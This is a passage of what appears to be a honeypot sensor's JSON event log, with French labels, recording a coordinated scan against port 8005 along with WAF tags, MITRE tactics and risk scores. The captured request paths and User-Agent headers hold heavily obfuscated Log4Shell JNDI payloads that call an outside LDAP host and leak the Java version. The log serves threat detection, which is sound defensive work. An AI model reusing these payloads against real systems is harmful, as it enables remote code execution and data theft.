[\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\/}${hun:-\/}${9tz8:b6:7zh:-P}${25u:v6t:y8wp:-A}${bdq:j0d:-l}${zp:8:c:-0}${nq:s5b:-c}${jc5:--}${${v:j:ab1:-s}${v3:-y}${43l:-s}${4v:-:}${4e3t:e:ns:-j}${nwc7:5g:6e:-a}${69:-v}${r:-a}${4x:x:s2n:-.}${8z:9tcr:-v}${x:hlv1:fjlg:-e}${134:qg0:m:-r}${u:ut6:gx:-s}${bv:k6:ws:-i}${al:8:-o}${o:6w:67g:-n}}${a:-.}${ma9r:-f}${8n:-0}${y:-5}${inf:0:6g:-c}${nq8:g1:n:-3}${s:1:-e}${xn:oi:-4}${v:x:co:-0}${\u0022, \u0022request_sample\u0022: \u0022GET \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\/}${hun:-\/}${9tz8:b6:7zh:-P}${25u:v6t:y8wp:-A}${bdq:j0d:-l}${zp:8:c:-0}${nq:s5b:-c}${jc5:--}${${v:j:ab1:-s}${v3:-y}${43l:-s}${4v\u0022, \u0022payload_snippet\u0022: \u0022GET \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022mitre_tactics\u0022: [\u0022TA0007\u0022, \u0022TA0001\u0022], \u0022mitre\u0022: \u0022TA0007\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022bd6ac4ae33829aabe1357f38d83015a1a39b8182\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\/}${hun:-\/}${9tz8:b6:7zh:-P}${25u:v\u2026\u0022, \u0022request_line\u0022: \u0022GET \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\/}${hun:-\/}${9tz8:b6:7zh:-P}${25u:v6t:y8wp:-A}${bdq:j0d:-l}${zp:8:c:-0}\u2026\u0022, \u0022http_user_agent\u0022: \u0022${${2lfj:-j}${uw2d:-n}${baf:vpzy:f0ph:-d}${m:yab:c:-i}${94u:-:}${o2d3:xzf:-l}${w:d4k:7l1:-d}${74l:-a}${tw:-p}${8qlp:0s3\u2026\u0022, \u0022port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\u0022, \u0022attack_vector\u0022: \u0022port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:1\u2026\u0022, \u0022target_port_label\u0022: \u00228005 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 58\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 60 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)\u0022, \u0022confidence_pct\u0022: 60, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 58, \u0022correlation_boost\u0022: 10}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022attack_stage_label\u0022: \u0022Sonde \/ probe\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 58, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8005, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022pat-0162\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022pat-0162\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0007\u0022, \u0022mitre_technique\u0022: \u0022TA0007\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +10\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\/}${hun:-\/}${9tz8:b6:7zh:-P}${25u:v\u2026\u0022, \u0022request_line\u0022: \u0022GET \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\/}${hun:-\/}${9tz8:b6:7zh:-P}${25u:v6t:y8wp:-A}${bdq:j0d:-l}${zp:8:c:-0}\u2026\u0022, \u0022http_user_agent\u0022: \u0022${${2lfj:-j}${uw2d:-n}${baf:vpzy:f0ph:-d}${m:yab:c:-i}${94u:-:}${o2d3:xzf:-l}${w:d4k:7l1:-d}${74l:-a}${tw:-p}${8qlp:0s3\u2026\u0022, \u0022port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:1\u2026\u0022, \u0022evidence_snippet\u0022: \u0022GET \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\u0022, \u0022target_port_label\u0022: \u00228005 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 60 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022meta_truncated\u0022: true, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228005\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 8, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 10, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022http_auth_header_token\u0022, \u0022http_bearer_auth\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8005","http_user_agent":"${${2lfj:-j}${uw2d:-n}${baf:vpzy:f0ph:-d}${m:yab:c:-i}${94u:-:}${o2d3:xzf:-l}${w:d4k:7l1:-d}${74l:-a}${tw:-p}${8qlp:0s3q:ia:-:}${ec:-\/}${l:xat0:hj:-\/}${fa:q573:wi23:-U}${d2s:ad:yoc:-A}${7:rn:-l}${ip9d:j:1x:-0}${w:zg:-c}${o:--}${${u:-s}${ov:7s:-y}${mnfw:s:kq:-s}${e:-:}${n:5z:-j}${r95e:hyf:-a}${em:-v}${j:z:-a}${dw6v:g12b:r0v:-.}${2gk3:mfzd:2g8s:-v}${1s9:ji5:-e}${l:5:-r}${om1n:xv:-s}${3uwd:hd:v3k:-i}${xzl5:-o}${o:0:lpx:-n}}${0:ukm2:2gun:-.}${ngyx:vf:tc:-f}${iael:yzn2:kt0w:-0}${ypkw:av:-5}${k5sn:-c}${eg:-3}${du:e:l9:-e}${dg:h2d:-4}${r:-0}${zuk:-8}${09w:vc:-2}${r:os:-b}${9o:bap9:fmb:-9}${v8om:z:d6:-4}${s7:i:-2}${wglc:-8}${4rv5:v:y:-f}${lbhp:-7}${utwg:g:r8:-9}${3it:fyg:-7}${g:-f}${gziv:tya:-6}${g6:o:35:-e}${4wxh:-9}${12kf:-6}${1w4:qg:-e}${1acz:fc:-3}${4rxt:-8}${ant:1q:-f}${j:yse:-0}${l5w:irzo:-2}${ox6c:zi5:-5}${fnx:-0}${epu:-3}${u5m:lhe1:-3}${1tqm:-8}${98:mqbz:ic:-f}${rbf:-d}${yq:-9}${vb:l2g:h7x3:-0}${y:-e}${1:8c:-2}${7l10:-a}${ua5w:-.}${l0zp:-d}${fhtj:-n}${9hg:r:-s}${sua1:xw:--}${2l:-e}${m8j2:b:-x}${ihkz:qd2:-f}${8d:ge1h:jh:-i}${8uv1:j:-l}${xer:3:e2j:-.}${r:neq:ot:-m}${3hr:5:wso:-a}${u2z:8iat:p84:-s}${p9o:zl:-m}${is:fpy:-c}${0t6:5w1:9:-o}${5:-r}${9:8:k5b:-e}${x:g7:--}${wp:i62f:-c}${f9:-f}${tmq2:rn7:jl:--}${o:0x:-p}${cy:05qt:-r}${me4:s7:-o}${94ce:4:zh:-d}${bc:--}${v6cr:-0}${va:-2}${2:-.}${9t:-m}${k:1a:-a}${0:n:ye:-s}${0j6:u7wp:qm1:-m}${j0e:6kc:yw4:-.}${gei:-c}${ypq:mxfw:c:-l}${z:-o}${u8n:euxd:-u}${lcnv:hk0:-d}${yb:-f}${5pzg:5cd:bav:-e}${j6u:-r}${fkdu:hm:-r}${vuac:-y}${xszh:-.}${r:-g}${lp7:c1s:0epn:-o}${az:n:c8r:-o}${2aw:b0:-g}}","http_referer":null,"tags":"[\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022http_auth_header_token\u0022, \u0022http_bearer_auth\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":4096},{"id":14676333,"ip":"34.19.116.51","ts":"2026-07-31 15:34:13.000000","proto":"tcp","src_port":36867,"dst_port":8005,"service":"http","classification":"port_8005_tcp","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"POST","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u0022aa37cbcf7c0e95c7d9c30810adcb8f8d0b992ef5\u0022, \u0022http_host_hash\u0022: \u0022474d34701ef094042bceaaeec604d0fd7a5f5a84\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: \u00227df79afc19f4c8532a298a450ad91443820c1929\u0022, \u0022http_method\u0022: \u0022POST\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.807945729474341, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8005, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 48.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 2.5, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 48.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 45, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022d8a428a24f43194cda0ceebc2c7986f0a6711232\u0022, \u0022event_fingerprint\u0022: \u00227891ec270244eba9e61e5e094b551709d7a18fb3\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022confidence\u0022: 0.6, \u0022classification_confidence\u0022: 0.6, \u0022precision_score\u0022: 70, \u0022precision_signals\u0022: [\u0022pat-0162\u0022], \u0022kb_rule_ids\u0022: [\u0022pat-0162\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 48.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 45, \u0022correlation_boost\u0022: 10}, \u0022named_classification_skipped\u0022: true, \u0022named_candidate\u0022: \u0022php_injection\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 50.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u002278d8cf6eac5ca35852b2698a3885613e\u0022, \u0022payload_hash\u0022: \u002281d532f63a810bca9fa5e8d4cbd45972\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 45}, \u0022payload_preview\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${uw30:2:c:-j}${wzq:-n}${r:-d}\u0022, \u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022${${uw30:2:c:-j}${wzq:-n}${r:-d}${b56:-i}${w7:-:}${kr:-l}${1vf7:bo:-d}${vxpn:-a}${lw8:-p}${j50n:g:-:}${6:9czs:2t:-\/}${d28:owa:-\/}${l:875b:-U}${v4fg:-A}${7i:-l}${8n:q6t:-0}${h0:2tzf:-c}${sy:--}${${pd:af4:fp0:-s}${c:-y}${2b4j:5f:qsx:-s}${b:x:-:}${ay:-j}${ne\u2026\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022POST \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${uw30:2:c:-j}${wzq:-n}${r:-d}${b56:-i}${w7:-:}${kr:-l}${1vf7:bo:-d}${vxpn:-a}${lw8:-p}${j50n:g:-:}${6:9czs:2t:-\/}${d28:owa:-\/}${l:875b:-U}${v4fg:-A}${7i:-l}$\u0022, \u0022payload_snippet\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${uw30:2:c:-j}${wzq:-n}${r:-d}\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022${${uw30:2:c:-j}${wzq:-n}${r:-d}${b56:-i}${w7:-:}${kr:-l}${1vf7:bo:-d}${vxpn:-a}${lw8:-p}${j50n:g:-:}${6:9czs:2t:-\/}${d28:owa:-\/}${l:875b:-U}${v4fg:-A}${7i:-l}${8n:q6t:-0}${h0:2tzf:-c}${sy:--}${${pd:af4:fp0:-s}${c:-y}${2b4j:5f:qsx:-s}${b:x:-:}${ay:-j}${ne\u2026\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022POST \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${uw30:2:c:-j}${wzq:-n}${r:-d}${b56:-i}${w7:-:}${kr:-l}${1vf7:bo:-d}${vxpn:-a}${lw8:-p}${j50n:g:-:}${6:9czs:2t:-\/}${d28:owa:-\/}${l:875b:-U}${v4fg:-A}${7i:-l}$\u0022, \u0022payload_snippet\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${uw30:2:c:-j}${wzq:-n}${r:-d}\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022mitre_tactics\u0022: [\u0022TA0007\u0022, \u0022TA0001\u0022], \u0022mitre\u0022: \u0022TA0007\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022monitor\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022d22bc16869be957de4cd78f701ee5d76ae8adb64\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022POST \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${${uw30:2:c:-j}${wzq:-n}${r:-d}${b56:-i}${w7:-:}${kr:-l}${1vf7:bo:-d}${vxpn:-a}${lw8:-p}${j50n:g:-:}${6:9czs:2t:-\/}${d\u2026\u0022, \u0022port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${uw30:2:c:-j}${wzq:-n}${r:-d}\u0022, \u0022attack_vector\u0022: \u0022port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe)\u0022, \u0022target_port_label\u0022: \u00228005 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u00b7 risque 45\/100\u0022, \u0022confidence_pct\u0022: 60, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 48.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 45, \u0022correlation_boost\u0022: 10}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022attack_stage_label\u0022: \u0022Sonde \/ probe\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 45, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8005, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022pat-0162\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022pat-0162\u0022], \u0022recommended_action\u0022: \u0022monitor\u0022, \u0022recommended_action_label\u0022: \u0022Surveiller\u0022, \u0022mitre\u0022: \u0022TA0007\u0022, \u0022mitre_technique\u0022: \u0022TA0007\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +10\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022POST \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${${uw30:2:c:-j}${wzq:-n}${r:-d}${b56:-i}${w7:-:}${kr:-l}${1vf7:bo:-d}${vxpn:-a}${lw8:-p}${j50n:g:-:}${6:9czs:2t:-\/}${d\u2026\u0022, \u0022port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe)\u0022, \u0022evidence_snippet\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${uw30:2:c:-j}${wzq:-n}${r:-d}\u0022, \u0022target_port_label\u0022: \u00228005 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 60 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: 